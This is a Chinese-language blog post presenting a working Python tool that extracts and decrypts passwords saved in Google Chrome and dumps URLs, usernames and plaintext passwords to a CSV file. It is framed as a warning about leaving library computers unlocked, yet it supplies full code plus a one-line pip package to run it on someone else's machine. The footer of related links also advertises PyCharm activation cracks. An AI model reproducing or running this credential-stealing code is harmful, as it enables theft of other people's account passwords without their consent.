Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
详解Python nose单元测试框架的安装与使用
Dec 20 Python
python os.path模块常用方法实例详解
Sep 16 Python
浅谈django的render函数的参数问题
Oct 16 Python
解决pycharm py文件运行后停止按钮变成了灰色的问题
Nov 29 Python
在python中使用requests 模拟浏览器发送请求数据的方法
Dec 26 Python
Python实现的登录验证系统完整案例【基于搭建的MVC框架】
Apr 12 Python
使用python绘制cdf的多种实现方法
Feb 25 Python
解决阿里云邮件发送不能使用25端口问题
Aug 07 Python
Pycharm2020最新激活码|永久激活(附最新激活码和插件的详细教程)
Sep 29 Python
Python应用自动化部署工具Fabric原理及使用解析
Nov 30 Python
Django项目如何获得SSL证书与配置HTTPS
Apr 30 Python
Python实战之大鱼吃小鱼游戏的实现
Apr 01 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
php获取远程图片的两种 CURL方式和sockets方式获取远程图片
2011/11/07 PHP
PHP采集腾讯微博的实现代码
2012/01/19 PHP
php使用正则过滤js脚本代码实例
2014/05/10 PHP
php实现判断访问来路是否为搜索引擎机器人的方法
2015/04/15 PHP
ThinkPHP5框架中使用JWT的方法示例
2020/06/03 PHP
javascript基础知识大全 便于大家学习,也便于我自己查看
2012/08/17 Javascript
JavaScript使用slice函数获取数组部分元素的方法
2015/04/06 Javascript
详解javascript数组去重问题
2015/11/06 Javascript
JS数组排序技巧汇总(冒泡、sort、快速、希尔等排序)
2015/11/24 Javascript
js数组常用操作方法小结(增加,删除,合并,分割等)
2016/08/02 Javascript
LayerClose弹窗关闭刷新方法
2018/08/17 Javascript
webpack配置proxyTable时pathRewrite无效的解决方法
2018/12/13 Javascript
vue-cli中vue本地实现跨域调试接口
2019/01/16 Javascript
Javascript三种字符串连接方式及性能比较
2019/05/28 Javascript
JS document文档的简单操作完整示例
2020/01/13 Javascript
通过C++学习Python
2015/01/20 Python
Python的Scrapy爬虫框架简单学习笔记
2016/01/20 Python
Python入门之三角函数全解【收藏】
2017/11/08 Python
Centos7 Python3下安装scrapy的详细步骤
2018/03/15 Python
Python随机函数random()使用方法小结
2018/04/29 Python
python爬取网页内容转换为PDF文件
2020/07/28 Python
Python实现对文件进行单词划分并去重排序操作示例
2018/07/10 Python
python中copy()与deepcopy()的区别小结
2018/08/03 Python
Python wxPython库Core组件BoxSizer用法示例
2018/09/03 Python
Django MEDIA的配置及用法详解
2019/07/25 Python
解决python 文本过滤和清理问题
2019/08/28 Python
使用Python解析Chrome浏览器书签的示例
2020/11/13 Python
Python request post上传文件常见要点
2020/11/20 Python
HTML5调用手机摄像头拍照的实现思路及代码
2014/06/15 HTML / CSS
俄罗斯大型在线书店:Читай-город
2019/10/10 全球购物
如何将无状态会话Bean发布为WEB服务,只有无状态会话Bean可以发布为WEB服务?
2015/12/03 面试题
班组长工作职责
2013/12/25 职场文书
领导视察欢迎词
2014/01/15 职场文书
电子商务专业应届生求职信
2014/05/28 职场文书
美术第二课堂活动总结
2014/07/08 职场文书
个人收入证明格式
2015/06/24 职场文书